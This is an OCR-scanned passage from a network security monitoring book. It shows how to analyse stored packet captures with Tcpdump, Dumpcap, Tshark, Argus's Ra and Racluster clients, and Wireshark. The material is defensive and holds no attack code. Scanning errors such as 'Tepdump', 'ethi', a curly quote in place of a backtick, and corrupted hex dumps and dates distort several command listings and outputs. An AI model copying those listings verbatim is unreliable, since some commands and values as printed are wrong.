examples to limit what you see. For example, Listing 6-12 shows only ICMP
echo replies from IP address 192.168.2.127.

$ tcpdump -n -r icmp.pcap 'icmp[icmptype] = icmp-echoreply' and dst host 192.168.2.127
reading from file icmp.pcap, link-type EN1OMB (Ethernet)
20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64

Listing 6-12: Capturing ICMP echo replies to a host via BPF with Tcpdump

Extracting Details from Tepdump Output

In addition to displaying traffic more specifically, with Tcpdump, you can
also extract more details from the results. For example, Listing 6-13 tells
Tcpdump to show timestamps as YYYY-MM-DD HH: MM:SS.milliseconds via
-tttt, adds layer 2 headers with -e, and tells Tcpdump to show all headers
and data in hex and ASCII format with -XX.

$ tcpdump -n -tttt -e -XX -r icmp.pcap 'icmp[icmptype] = icmp-echoreply’ and dst host 192.168.2.127
reading from file icmp.pcap, link-type EN1OMB (Ethernet)

2013-02-16 20:30:30.013728 00:0d:b9:27:f1:48 > 00:13:10:65:2f:ac, ethertype IPv4 (0x0800),
length 98: 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64

0x0000: 0013 1065 2fac 000d b927 148 0800 4500 ...e/....'.H..E.
0x0010: 0054 0000 0000 fb01 035c adc2 4b63 coa8 .T....... \..Kc..
0x0020: 027f 0000 2092 b951 0001 65ec 1f51 0000 ....... 0..e..0..
0x0030: 0000 d30a 0f00 0000 0000 1011 1213 1415 .eveeeeveeennnnn
0x0040: 1617 1819 1aib 1cid 1elf 2021 2223 2425 ........... 1" #$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67

Listing 6-13: Extracting more details from Tepdump output

Tepdump offers other matching and storage options. For more information, see
the Tepdump manual page on SO. Type man tcpdump at a command prompt to
read the manual.
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Examining Full Content Data with Tepdump

Because Tcpdump also works on saved traces, you can use it to examine the
full content data saved on SO stand-alone or sensor platforms in the /nsm/
sensor_data/<sensorname>/dailylogs directory. When searching for indicators
of compromise in network traffic, you may want to search every file in these
directories. You can use Tcpdump and a BPF modifier to hone your output.
For example, Listing 6-14 looks through all files for traffic involving

host 8.8.8.8 and TCP thanks to a for loop and the find command. Note the
backticks (on the same key as the tilde symbol) in front of the find and after
-type f.

$ for i in “find /nsm/sensor_data/sademo-ethi/dailylogs/ -type f ; do tcpdump -n -c 1 -r $i
host 8.8.8.8 and tcp; done

reading from file /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-16/snort.log.1361019690, link-
type EN10MB (Ethernet) ©®

reading from file /nsm/sensor_data/sademo-ethi/dailylogs/2013-02-16/snort.log.1361045719, link-
type EN10MB (Ethernet) @

21:02:06.430169 IP 192.168.2.126.44334 > 8.8.8.8.53:

Flags [S], seq 1330246822, win 42340, options

[mss 1460,sackOK,TS val 157066547 ecr O,nop,wscale 11], length 0 ©

reading from file /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-16/snort.log.1361017706, link-
type EN10MB (Ethernet) @

-- snip --

Listing 6-14: Looping through pcap files
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Listing 6-14 shows that the first trace @ did not contain any traffic
matching the BPF. The second trace @ contains a matching SYN packet ©.
The third trace at @ did not contain any matching packets.

With a repository of full content data at your disposal, you give greater
context to your NSM analysis. While most NSM analysts use many tools to
access full content data, I often use Tcpdump to take a quick look at specific
network activity, applying a BPF for a certain port or host of interest.

Using Dumpcap and Tshark

Chapter 6

The Dumpcap and Tshark tools are shipped with the Wireshark (hAttp://
www.wireshark.org/) suite. Dumpcap is a simple traffic collection tool, and
Tshark is the command line version of the Wireshark network traffic ana-
lyzer. Dumpcap, and by extension Tshark, depend on the libpcap traffic
capture library to access packets. Both Dumpcap and Tshark are avail-
able on SO, but they are not running by default. Analysts can invoke each
on demand, most often to access full content data in /nsm/sensor_data/
<sensorname>/dailylogs.

Gerald Combs is the original author of Dumpcap, and he and the Wireshark team

code under the GNU General Public License version 2 (http://www.wireshark
.org/faq.html).
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Tshark’s strength lies in protocol analysis, thanks to the hundreds of
protocols it understands, and, unlike Tcpdump, it allows you access just
about any aspect of a protocol using fairly human-friendly syntax. For this
reason, if I need to decode a specific protocol in a command line environ-
ment, I choose Tshark over Tcpdump.

Running Tshark

You can run Tshark from a command terminal, although if you start it
with sudo, it will likely report the following error and warning as shown
in Listing 6-15.

$ sudo tshark -i eth1

tshark: Lua: Error during loading:

[string "/usr/share/wireshark/init.lua"]:45: dofile has been disabled
Running as user "root" and group "root". This could be dangerous.
Capturing on eth1

Listing 6-15: Lua error when starting Tshark

The protocol dissectors shipped with Wireshark and Tshark may con-
tain vulnerabilities. Clever intruders could exploit those vulnerabilities by
sending specially crafted network traffic past a sensor. If malicious packets
exploit Wireshark or Tshark while it is sniffing traffic, an intruder could
gain control of the sensor. If Wireshark or Tshark is running with root privi-
leges when exploitation occurs, the intruder could gain total control of the
Sensor.

To partially mitigate the risk of granting intruders unauthorized access,
the Wireshark developers recommend that users not run either program
with root privileges. Instead, they suggest capturing traffic with Dumpcap
first, and then analyzing saved packets with Wireshark or Tshark.

Running Dumpcap

Dumpcap uses the same BPF syntax as Tcpdump, as shown in Listing 6-16.

$ sudo dumpcap -i ethl -c 2 -w /tmp/tshark-icmp.pcap -f "icmp and host 192.168.2.108"
File: /tmp/tshark-icmp.pcap

Packets captured: 2

Packets Received/Dropped on Interface ethi: 2/0

Listing 6-16: Capturing two ICMP packets with Dumpcap

The command in Listing 6-16 tells Dumpcap to listen to the eth1 inter-
face, save two packets, write to the /tmp/tshark-icmp.pcap file, and limit cap-
ture to ICMP traffic involving the computer at IP address 192.168.2.108.

As you can see in the listing, you don’t need to specify a snaplength via -s
as you do with Tcpdump, because Dumpcap uses a default maximum value.
Listing 6-15 writes to the /tmp directory because the operating system won’t
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let me write to my home directory as root through sudo. I must write to a
directory that the root user can also write to, which doesn’t include my
user’s home directory.

Besides using sudo and writing to a directory writable by root, you can
reconfigure Wireshark on SO to create a wireshark group, and then add your
user account to that group. Doing so will allow your users to capture packets
with Dumpcap without invoking sudo to elevate privileges. To accomplish this
goal, run the following command:

$ sudo dpkg-reconfigure wireshark-common

If you run this command within an OpenSSH session, the screen should
look like Listing 6-17.

a a
a Dumpcap can be installed in a way that allows members of the "wireshark" &
a system group to capture packets. This is recommended over the a
a alternative of running Wireshark/Tshark directly as root, because less a
a of the code will run with elevated privileges. a
a a
a For more detailed information please see a
a /usr/share/doc/wireshark-common/README.Debian. a
a a
a Enabling this feature may be a security risk, so it is disabled by a
a default. If in doubt, it is suggested to leave it disabled. a
a a
a Should non-superusers be able to capture packets? a
a a
a <Yes> <No> a
a a

ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddad

Listing 6-17: Configuring wireshark-common via OpenSSH session

Use the TAB or arrow keys to select Yes, and then press ENTER. The script
will add a wireshark user to the /etc/group file. Next, add your user to the
wireshark group. Here, the username is sademo:

$ sudo usermod -a -G wireshark sademo

Now log out of the system and log back in. (If you try to capture traffic
without logging in again, you will get an error.) Try capturing traffic as a
normal user, as shown in Listing 6-18.

$ dumpcap -i ethl -c 2 -w tshark-icmp.pcap -f "icmp and host 192.168.2.108"
File: tshark-icmp.pcap

Packets captured: 2

Packets received/dropped on interface ethi: 2/0

Listing 6-18: Capturing traffic with user-level privileges with Dumpcap. You can now
capture traffic with Dumpcap without using sudo and encountering errors.
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Running Tshark on Dumpcap’s Traffic

Once Dumpcap has captured traffic, analyze it with Tshark. To run Tshark
in its most basic mode, use the -r switch, as shown in Listing 6-19.

$ tshark -r tshark-icmp.pcap

1 0.000000 192.168.2.108 -> 8.8.8.8 ICMP 74 Echo (ping) request
id=0x0001, seq=17/4352, ttl=127
2 0.022643 8.8.8.8 -> 192.168.2.108 ICMP 74 Echo (ping) reply

id=0x0001, seq=17/4352, ttl=251

Listing 6-19: Reading a trace with Tshark

This output should be fairly easy to understand, although the time field
may be unfamiliar. Specifically, host 192.168.2.108 issues an ICMP echo
request to host 8.8.8.8 in packet 1, and host 8.8.8.8 responds with an ICMP
echo reply in packet 2. By default, Tshark shows an initial time of o, fol-
lowed by time elapsed since the first packet. You can change that to show
a more readable format with the -t ad switch, as shown in Listing 6-20.

$ tshark -t ad -r tshark-icmp.pcap

1 2013-02-17 13:37:45.922462 192.168.2.108 -> 8.8.8.8 ICMP 74 Echo
(ping) request 1id=0x0001, seq=17/4352, ttl=127
2 2013-02-17 13:37:45.945105 8.8.8.8 -> 192.168.2.108 ICMP 74 Echo

(ping) reply  id=0x0001, seq=17/4352, ttl=251

Listing 6-20: Showing absolute timestamps using the -t ad switch in Tshark

Using Display Filters with Tshark

Tshark provides a robust language to show packets that match display
filters. Tshark and Wireshark use display filters to control what traffic is
shown, but display filters do not affect packet capture. Use BPF syntax if you
want to influence what Tshark (or Dumpcap, for that matter) collects and
stores. For example, Listing 6-21 invokes a display filter to show only ICMP
echo replies (ICMP type 0 messages).

$ tshark -t ad -r tshark-icmp.pcap -R "icmp.type == 0"
2 2013-02-17 13:37:45.945105 8.8.8.8 -> 192.168.2.108 ICMP 74 Echo
(ping) reply id=0x0001, seq=17/4352, ttl=251

Listing 6-21: Showing an ICMP echo reply in Tshark

This output may not seem very different from that of the Tcpdump fil-
ter shown in Listing 6-20, but the power of Tshark (and Wireshark) comes
from the extensive catalog of available display filters. The ICMP protocol has
64 display filters available as of this writing, as listed at http://www.wireshark
.org/docs/dfref/i/icmp.html. All of these can be used to define specific values
to be matched with a display filter.
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Tshark reveals its depth of knowledge for protocols when you pass it the
-V switch, which tells Tshark to produce a verbose protocol decode for the
specified traffic. Add -x to display a hex and ASCII listing of the packet.
Both options are shown in Listing 6-22.

$ tshark -t ad -r tshark-icmp.pcap -R "icmp.type == 0" -x -V
OFrame 2: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
Arrival Time: Feb 17, 2014 13:37:45.945105000 UTC
Epoch Time: 1361108265.945105000 seconds
[Time delta from previous captured frame: 0.022643000 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 0.022643000 seconds]
Frame Number: 2
Frame Length: 74 bytes (592 bits)
Capture Length: 74 bytes (592 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: eth:ip:icmp:data]
@®Ethernet II, Src: PcEngine 27:f1:48 (00:0d:b9:27:f1:48), Dst: Cisco-Li_65:2f:ac
(00:13:10:65:2f:ac)
Destination: Cisco-Li 65:2f:ac (00:13:10:65:2f:ac)
Address: Cisco-lLi 65:2f:ac (00:13:10:65:2f:ac)
....... O eeve veee weve ovw. = IG bit: Individual address (unicast)
veee w00 cive veew weve w... = LG bit: Globally unique address (factory default)
Source: PcEngine_27:f1:48 (00:0d:b9:27:1:48)
Address: PcEngine 27:f1:48 (00:0d:b9:27:11:48)
....... O eeve veee weve ovw. = IG bit: Individual address (unicast)
veee w00 civt vevr weve w... = LG bit: Globally unique address (factory default)
Type: IP (0x0800)
®Internet Protocol Version 4, Src: 8.8.8.8 (8.8.8.8), Dst: 192.168.2.108 (192.168.2.108)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not
ECN-Capable Transport))
0000 00.. = Differentiated Services Codepoint: Default (0x00)
...... 00 = Explicit Congestion Notification: Not-ECT (Not ECN-Capable Transport)
(0x00)
Total Length: 60
Identification: 0x0000 (0)

Flags: 0x00
0... .... = Reserved bit: Not set
.0.. = Don't fragment: Not set

..0. .... = More fragments: Not set
Fragment offset: 0
Time to live: 251
Protocol: ICMP (1)
Header checksum: Oxec9c [correct]
[Good: True]
[Bad: False]
Source: 8.8.8.8 (8.8.8.8)
Destination: 192.168.2.108 (192.168.2.108)
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OInternet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0x554a [correct]
Identifier (BE): 1 (0x0001)
Identifier (LE): 256 (0x0100)
Sequence number (BE): 17 (0x0011)
Sequence number (LE): 4352 (0x1100)
[Response To: 1]
[Response Time: 22.643 ms]
Data (32 bytes)
Data: 6162636465666768696a6b6c6d6e61707172737475767761. ..
[Length: 32]

©0000 00 13 10 65 2f ac 00 0d b9 27 f1 48 08 00 45 00 c.o.e/o W HGE.
0010 00 3c 00 00 00 00 fb 01 ec 9c 08 08 08 08 cO a8 e€evnvonnncnnnns
0020 02 6¢ 00 00 55 4a 00 01 00 11 61 62 63 64 65 66 .1..UJ....abcdef
0030 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76  ghijklmnopgrstuv
0040 77 61 62 63 64 65 66 67 68 69 wabcdefghilll

Listing 6-22: Full decode of the ICMP echo reply in Tshark

The full decode for this packet is broken into five main sections:

e Section @ displays frame information, with metadata on time, frame
size, and other details.

e Section ® shows details found in the Ethernet header such as source,
destination, and Media Access Control (MAC) addresses.

e Section © offers information from the IP header, like source and desti-
nation IP addresses and other IP protocol data.

e Section @ shows details on the ICMP protocol itself.

e Section @ is a hexadecimal and ASCII representation of the entire frame.

Tools like Tshark are helpful because they expose every detail of a
protocol. For example, you may find that it is important to know an ICMP
sequence number, if that element may have been used for suspicious or
malicious purposes.

Tshark Display Filters in Action

In this section, we’ll look at some display filter examples that demonstrate
the power of Tshark.

Imagine you want to search traffic for Simple Mail Transport Protocol
(SMTP) commands. You could use the smtp.req.command display filter, as
shown in Listing 6-23.

$ tshark -t ad -r smtp.pcap -R 'smtp.req.command'
4 2014-02-17 14:09:14.659043 192.168.2.127 -> 68.87.26.155 SMTP 76 C: helo test
10 2014-02-17 14:09:19.090208 192.168.2.127 -> 68.87.26.155 SMTP 71 C: quit

Listing 6-23: Tshark display filter for SMTP
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To look for user agents in HT'TP GET request traffic generated by curl,
you could use two filters together. Listing 6-24 uses a for loop to search an
entire directory. The echo statement shows the trace in question as Tshark
searches it.

$ for i in “find /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-17/ -type f; do echo $i;
tshark -t ad -r $i -R 'http.user_agent contains "curl" and http.request.method == GET'; done
/nsm/sensor_data/sademo-eth1/dailylogs/2013-02-17/snort.log.1361107364

143841 2014-02-17 14:26:43.875022 192.168.2.127 -> 217.160.51.31 HTTP 223 GET / HTTP/1.1

Listing 6-24: looping through data with Tshark to find HTTP traffic

Tshark display filters also make it easy to search for traffic to or from
arange of IP addresses. For example, Listing 6-25 looks for traffic with IP
addresses between 192.168.2.100 and 192.168.2.110 inclusive that is not TCP
or UDP.

$ tshark -t ad -r /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-17/snort.log.1361107364 -R
'ip.dst >= 192.168.2.100 and ip.dst <= 192.168.2.110 and not tcp and not udp'

10327 2014-02-17 13:33:01.775757 8.8.8.8 -> 192.168.2.108
ICMP 74 Echo (ping) reply id=0x0001, seq=16/4096, ttl=251
12519 2014-02-17 13:37:45.945105 8.8.8.8 -> 192.168.2.108

ICMP 74 Echo (ping) reply id=0x0001, seq=17/4352, ttl=251

Listing 6-25: Searching for a range of IP addresses with a Tshark display filter

For more detail, add the -V and/or -x switch.

As you can see, I like to use Tshark to review saved traces for specific
elements. It would be difficult to create the equivalent BPF syntax for many
of these display filters. While technically possible, the BPF syntax can be
horribly complex.

Running Argus and the Ra Client

Our final command line tool is Argus (http://www.qosient.com/argus/), a
session data generation and analysis suite, and its client for reading data,
Ra. The Argus server is running by default on SO, but analysts must use
the Argus client tools to access the data stored in the /nsm/sensor_data/
<sensorname>/argus directory.

Carter Bullard first started writing Argus at Carnegie Mellon’s Software Engineering
Institute (SEI) in 1993, and released the code publicly as Argus 1.5 in early 1996.
Today, the code exists as a server component and multiple client components, licensed
under the GNU General Public License version 3.

You can validate the status of the Argus server by running the nsm_sensor_
ps-status script with the --only-argus switch, as shown in Listing 6-26.
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$ sudo nsm_sensor_ps-status --only-argus
Status: sademo-ethi
* argus [ 0K ]

Listing 6-26: Checking Argus status

Stopping and Starting Argus

If Argus is not running, you can restart it. Let’s stop it, and then restart it,
as shown in Listing 6-27.

$ sudo nsm_sensor_ps-stop --only-argus
Stopping: sademo-eth1
* stopping: argus [ oK ]

$ sudo nsm_sensor_ps-start --only-argus

Starting: sademo-ethi
* starting: argus [ ok ]
* disk space currently at 21%

Listing 6-27: Stopping and starting Argus

The Argus data stored in the /nsm/sensor_data/<sensorname>/argus direc-
tory appears as individual files, one for each day, named YYYY-MM-DD.log.
Stopping and starting the Argus server will not destroy the previous file,
only append to it.

The Argus File Format

The files in the Argus directory are binary files readable only by the Argus
client tools. The binary format keeps the files compact. In comparison, a
sample sensor with 48 days of NSM data shows the following directory usage
for full content and Argus session data. Listing 6-28 has the details.

$ sudo du -csh /nsm/sensor_data/soe-etho/argus/
1.8G /nsm/sensor_data/soe-etho/argus/

1.8G total

$ sudo du -csh /nsm/sensor_data/soe-etho/dailylogs/
83G /nsm/sensor_data/soe-etho/dailylogs/

83G total

Listing 6-28: Sample Argus and pcap storage

As you can see, 48 days of full content data in pcap format on this sen-
sor occupies 83GB, but Argus session data for the same period occupies
only 1.8GB, or 1/46 of the space. This ratio is likely to be quite different
depending on the nature of each network, but you can see the space advan-
tage associated with session data compared to full content data.
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This comparison demonstrates the power of session data. If you just
need to know the IP address, protocol, and/or ports associated with a con-
nection, you can acquire all of that information from session data. You
don’t need to capture or search through piles of full content data to get it.

Examining Argus Data

Analysts who enjoy parsing data using command line tools are likely to find
Argus data particularly useful. I'll show a few ways to examine this data for
interesting results. You might take this approach if you want to look for spe-
cific information or script searches of session data for anomalous activity.
First, we’ll compare reading session data using two Argus clients, Ra
and Racluster. Listing 6-29 shows an example of using Ra to look for session
records with destination port 21, which is used by many FTP servers.

$ ra -n -r 2014-02-10.1log - tcp and dst port 21 -s stime saddr sport daddr dport sbytes dbytes

StartTime SrcAddr Sport DstAddr Dport SrcBytes DstBytes

® 11:10:53.939711 192.168.2.127.60102 202.12.29.205.21 140 74
@ 11:11:04.434637 192.168.2.127.60102 202.12.29.205.21 769 1633
© 11:11:10.003721 192.168.2.127.60102 202.12.29.205.21 204 301
11:11:25.561995 192.168.2.127.50732 192.149.252.20.21 917 1195
11:11:25.806418 192.168.2.127.50734 192.149.252.20.21 979 1198
11:12:07.851453 192.168.2.127.48178 200.3.14.11.21 939 1346
11:12:09.236747 192.168.2.127.48180 200.3.14.11.21 935 1345
11:12:16.019452 192.168.2.127.41655 193.0.6.140.21 1114 1279
11:12:17.357230 192.168.2.127.41657 193.0.6.140.21 840 979
11:12:23.449643 192.168.2.127.41657 193.0.6.140.21 348 301

Listing 6-29: Argus Ra output for port 21

The -n switch tells Ra to not resolve port numbers to names. The BPF
syntax filter tcp and dst port 21 specifies a protocol and port of interest. The
-s switch tells Ra which fields to display. (The Ra man page lists all output
fields controlled by the -s switch.) The SrcBytes and DstBytes columns in
the results count transaction data bytes, which include packet headers. (To
get application layer bytes, use sappbytes and dappbytes instead of sbytes and
dbytes on the command line.)

Notice that there are several session records for certain conversations.
The Argus server wrote these records as it saw the connection stay active.
That’s fine for a short result like the one in Listing 6-29, but not for con-
nections that stay open longer. To collapse these records, use Racluster, as
shown in Listing 6-30.

$ racluster -n -r 2013-02-10.log - tcp and dst port 21 -s stime saddr sport daddr dport sbytes
dbytes

StartTime SrcAddr Sport DstAddr Dport SrcBytes DstBytes

® 11:10:53.939711 192.168.2.127.60102 202.12.29.205.21 1113 2008

11:11:25.561995 192.168.2.127.50732 192.149.252.20.21 917 1195

11:11:25.806418 192.168.2.127.50734 192.149.252.20.21 979 1198

11:12:07.851453 192.168.2.127.48178 200.3.14.11.21 939 1346

11:12:09.236747 192.168.2.127.48180 200.3.14.11.21 935 1345
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11:12:16.019452 192.168.2.127.41655 193.0.6.140.21 1114 1279
11:12:17.357230 192.168.2.127.41657 193.0.6.140.21 1188 1280

Listing 6-30: Argus Racluster output for port 21

Notice that the first three records (@, @, and ©) from the Ra record in
Listing 6-29 have been collapsed into one record @ in Listing 6-30, though
when you add the byte counts from the same sessions in the Ra output,
you’ll find that they match the total byte count in the Racluster output. For
example, the SrcBytes count for the session to 202.12.29.205 in the Ra out-
putis 140 + 769 + 204 = 1113, which is the same value as the SrcBytes field
for the session to 202.12.29.205 in the Racluster output.

I often use Argus with Racluster to quickly search a large collection
of session data via the command line, especially for unexpected entries.
Rather than searching for specific data, I tell Argus what to omit, and then
I review what'’s left.

As an example, we’ll walk through building a fairly complicated Racluster
search. It will tell Racluster to search three Argus archives for UDP traffic,
but to exclude ports 53 (DNS), 123 (Network Time Protocol, or NTP), or
host 192.168.2.120.

This will require the use of the -m saddr daddr switch, which instructs Ra
to group records by source and destination IP address, and the -s switch,
which specifies the desired output fields. Two additional elements add the
year, month, and day to the timestamps in this report. To add these, first
create the /tmp/ra.conffile, as shown in Listing 6-31, with a variable telling
Ra how to display the time. (To learn more about this format, see the man-
ual page for the date command.)

cat /tmp/ra.conf
RA_TIME_FORMAT="%Y-%m-%d %T"

Listing 6-31: Contents of the /tmp/ra.conf file

Next, add the stime element of the -s switch that tells Ra to provide
enough room in the print buffer to show the entire date and timestamp.
Listing 6-32 assembles all these components and shows the output.

$ racluster -F /tmp/ra.conf -n -r 2014-02-10.log 2013-02-16.log 2014-02-17.log - udp and not \
(port 53 or port 123 or host 192.168.2.120\) -m saddr daddr -s stime:20 saddr sport daddr dport

sbytes dbytes
StartTime
13:
13:
13:
20:
20:
20:
11:
11:
19:

2013-02-17
2013-02-17
2013-02-17
2013-02-16
2013-02-16
2013-02-16
2013-02-10
2013-02-10
2013-02-17

26:
26:
26:
35:
35:
35:
28:
28:
12:

SrcAddr Sport DstAddr Dport SrcBytes DstBytes
49 192.168.2.114.16403 17.173.254.222.00 540 540
49 192.168.2.114.16403 17.173.254.223.16386 240 240
49 192.168.2.114.16403 96.231.180.71.00 660 0
09 192.168.2.115.16403 17.173.254.222.0© 6000 6000
09 192.168.2.115.16403 17.173.254.223.16386 2820 2820
09 192.168.2.115.16403 96.231.180.71.00 7740 0
29 192.168.2.116.58444 23.23.189.8.00© 534 918
29 192.168.2.116.58444 23.23.189.44.33434 382 0
09 192.168.2.117.63517 157.56.106.184.3544 2472 3624

Command Line Packet Analysis Tools 131

www.it-ebooks.info


http://www.it-ebooks.info/

2013-02-17 19:12:09 192.168.2.117.63517 157.56.106.185.3544 206 302
2013-02-16 13:37:19 192.168.2.117.00 157.56.149.60.3544 33372 48169
2013-02-16 13:37:19 192.168.2.117.0@ 157.56.149.61.3544 515 755

Listing 6-32: Using Racluster to look for UDP traffic while ignoring port 53, port 123, and host 192.168.2.120

In Listing 6-32, you see entries where the destination portis 0 at @, @,
©, O, and O, and where the source portis 0 at @ and @. When the destina-
tion port shows 0, Racluster has aggregated multiple destination ports into
one record. For example, Listing 6-33 shows a similar Racluster search that
looks at Argus records involving 192.168.2.117 as the source IP address and
157.56.149.0/24 (meaning any fourth octet is acceptable) as the destination
net block.

$ racluster -F /tmp/ra.conf -n -r 2014-02-10.log 2013-02-16.log 2014-02-17.log - src host
192.168.2.117 and dst net 157.56.149.0/24 and udp and not \(port 53 or port 123 or host
192.168.2.120\) -s stime:20 saddr sport daddr dport sbytes dbytes

StartTime SrcAddr Sport DstAddr Dport SrcBytes DstBytes
2013-02-16 13:37:19 192.168.2.117.64412 157.56.149.60.3544@ 20909 30653
2013-02-16 13:37:19 192.168.2.117.64412 157.56.149.61.3544© 412 604
2013-02-17 14:27:57 192.168.2.117.57672 157.56.149.60.35440 12463 17516
2013-02-17 14:27:57 192.168.2.117.57672 157.56.149.61.3544@ 103 151

Listing 6-33: Using Racluster with 192.168.2.117 as the source IP address and 157.56.149.0/24 as the
destination net block

Notice that this output represents four distinct connections: two to
157.56.149.60 at @ and @, and two to 157.56.149.61 at ® and @. When you
aggregate results using the source IP address, as in Listing 6-32, you lose
this granularity.

I mentioned earlier that I like to use Argus and its Ra or Racluster client
to omit certain traffic, and then review what’s left for anomalies. Listing 6-32
contains some data that I could review for suspicious or malicious entries.
Doing this sort of review requires some ability to recognize net blocks and
protocols, but it can yield interesting results.

Taking a net block approach means determining the source or destina-
tion of traffic. Tools like the Robtex website (http://www.robtex.com/) can
help identify network owners. For example, traffic in Listing 6-32 to the
17.0.0.0/8 traffic is likely related to Apple protocols, because Apple owns
that entire Class A net block. Doing similar analysis shows Microsoft owns
the 157.56.0.0/14 net block, Amazon owns 23.20.0.0/14, and Verizon owns
96.224.0.0/11.

Taking a protocol approach requires looking at the protocols involved,
often by deciphering which applications use certain TCP or UDP ports.
Online resources like the SANS Internet Storm Center (ISC) Port Report
(htps://isc.sans.edu/portreport. html) provide clues concerning the functions
of various TCP and UDP ports. For example, Apple uses port 3544 UDP for
its push notification service, and port 16386 UDP for its FaceTime service.
Many systems run UDP-based Traceroute using port 33434. Based on this
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knowledge, I can determine that the applications depicted in Listing 6-32
are likely all benign, and that they’re associated with Apple traffic and net-
work path discovery using Traceroute. Of course, in order to firmly identify
these sessions, I would need access to full content data or logs from other
sources. Still, this approach provides a way to identify interesting activity
with a minimum amount of effort.

Conclusion

This chapter began by explaining the three types of tools available in SO:
software for data collection, presentation, and delivery. Within the presen-
tation category, we find tools for packet analysis, and applications that work
best as NSM consoles. Some of the packet analysis tools rely on command
line interfaces, and others use graphical interfaces. This chapter discussed
several packet analysis data presentation tools that are used from the com-
mand line: Tcpdump, Tshark, and the Argus Ra client. You also saw how to
use Dumpcap in concert with Tshark.

In Chapter 7, we’ll look at the graphical interface packet analysis tools:
Wireshark, Xplico, and NetworkMiner. You’ll see that GUI access to packets
offers several distinct advantages, including the availability of more forms
of NSM data.
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GRAPHICAL PACKET
ANALYSIS TOOLS

Chapter 6 introduced the categories of
NSM tools: data presentation, data collec-
tion, and data delivery. As explained in that

chapter, within the data presentation category,
some tools are more suited to packet analysis, and
others are intended to function as NSM consoles.
Chapter 6 focused on data presentation tools that

offer access to packets on the command line.

This chapter focuses on packet analysis tools that give analysts
GUTI access to traffic. Tools in this family include Wireshark, Xplico, and
NetworkMiner (NM). All of these applications ship with SO and are avail-
able on demand from the distribution. We’ll start with the most popular
of these types of tools: Wireshark.
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Using Wireshark

Chapter 7

Wireshark is the main tool in the Wireshark suite, which also includes
Tshark and Dumpcap. This section highlights the Wireshark features I use
most regularly when conducting NSM operations. To learn more about
Wireshark, refer to one of the excellent books about it, such as Laura
Chappell’s work at http://www.wiresharkbook.com/.

Running Wireshark

Like Tcpdump and Tshark, Wireshark operates on the full content data
stored in the /nsm/sensor_data/<sensorname>/dailylogs directory. You can
launch Wireshark either directly or from other tools (such as Sguil, as
explained in Chapter 8).

Wireshark is not necessarily the best tool for processing large collections of full content
data, and I typically don’t suggest you begin your analysis of network traffic by loading a
gigantic trace into Wireshark. Instead, identify traffic of interest using another means,
such as by reviewing session data, and then apply Wireshark to just that traffic.

Wireshark is an on-demand tool in SO and will run only if you launch
it manually by entering wireshark in a terminal window, or by choosing
Security Onion » Wireshark from the GUI. Wireshark displays an opening
screen, as shown in Figure 7-1.

> The Wireshark Network Analyzer [Wireshark 1.6.7] -+ X
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

L M R e = Q NN &l S . e

~ | Expression... Clear Apply

The World's Most Popular Network Protocol Analyzer

Version 1.6.7

Capture S e i | BN Onlin e T
= Interface List « Open Website
Live list of the capture interfaces Open a previously captured file Visit the project’s website

{counts incoming packets)
Open Recent: " i
Start capture on interface: User's Guide
The User's Guide (online version)

B etho Sample Captures
Bl eth A ich assortment of example capture files on the wiki Security
] Pseudo-device that captures on all interfaces Work with Wireshark a5 securely as passibie
&l 1o

Y Capture Options

Start a capture with detailed options

[ CaptureHelp |

How to Capture

Step by step to a successful capture setup
Network Media

g Specific information for capturing on:
Ethemet, WLAN, ...

(O Ready to load or capture = No Packets = Profile: Default .

Figure 7-1: Default Wireshark screen
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Viewing a Packet Capture in Wireshark

To open a packet capture in pcap format, follow these steps:

1.

Choose File » Open and navigate to the /nsm/sensor_data/<sensorname>/
dailylogs directory.

Choose one of the YYYY-MM-DD directories, and then select a trace of
interest. Wireshark presents some basic statistics about that trace. For
example, in Figure 7-2, the sample trace is 11.9MB (shown in the Size
column) with 19,866 packets (shown in the Packets field). As you can
see in the First Packet field, the trace begins at 2013-02-10 13:09:28 and
lasts 8 minutes and 16 seconds (shown in the Elapsed Time field).

Uncheck the Enable MAC Name Resolution and Enable Transport Name
Resolution options so that you’ll see numbers rather than names for
these fields, and then click Open.

v Wireshark: Open Capture File + X

f ||:1||n5m ” sensor_data ” sademo-eth1 ” daiiylogs| 2013-C

Places Mame v Size Modified
Q_ search 5] snort.log. 1360494635 1103.4 MB 02/10/2013
&3 Recently Used E 050176 . ;
[# sademo
= Desktop
__| File System

(.~ SecurityOnion 1...
|| Floppy Drive

ﬁ] Documents

¥ Download

P nauicic

. .Filter: I l Filename: snort.log. 1360501765

Format: Wireshark/tcpdumpy/... - libpcap
[ Enable MAC name resolution Size: 12485022 bytes

[ Enable network name resolution Packets: 19866
] [Enahle ) First Packet: 2013-02-10 13:09:28

Elapsed time:  00:08:16
| ®Cancel.| _ﬁ{)pen I

rt name resolution|

p

Figure 7-2: Opening a trace in Wireshark

Modifying the Default Wireshark Layout

After opening a trace, the default Wireshark layout displays the fields shown
in Figure 7-3. These include information such as the packet number, a time-
stamp measured in time since the first packet, source and destination IP
addresses, the protocol, and messages about the packet (in the Info field).
If you would prefer a different layout, you can change the default either
through the GUI or by editing the preferences file.
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> Wireshark: Prefi ces - Profile:
¥ User Interface | columns
Layout _
Columns Displayed Title Field type
Font | =4 ENO. ENumber
ks | - . B format & speciniad)
Capture &  Source ‘Source address
Printing ™  Destination Destination address
Name Resolution ™  Protocol  Protocol
Statistics M  Llength - Packet length (bytes)
» Protocols & .Info ‘Information
= Properties
fhadd | —— — :
Field type: l Time (format as specified) 2 l
@ Remove | ioid name: ( |

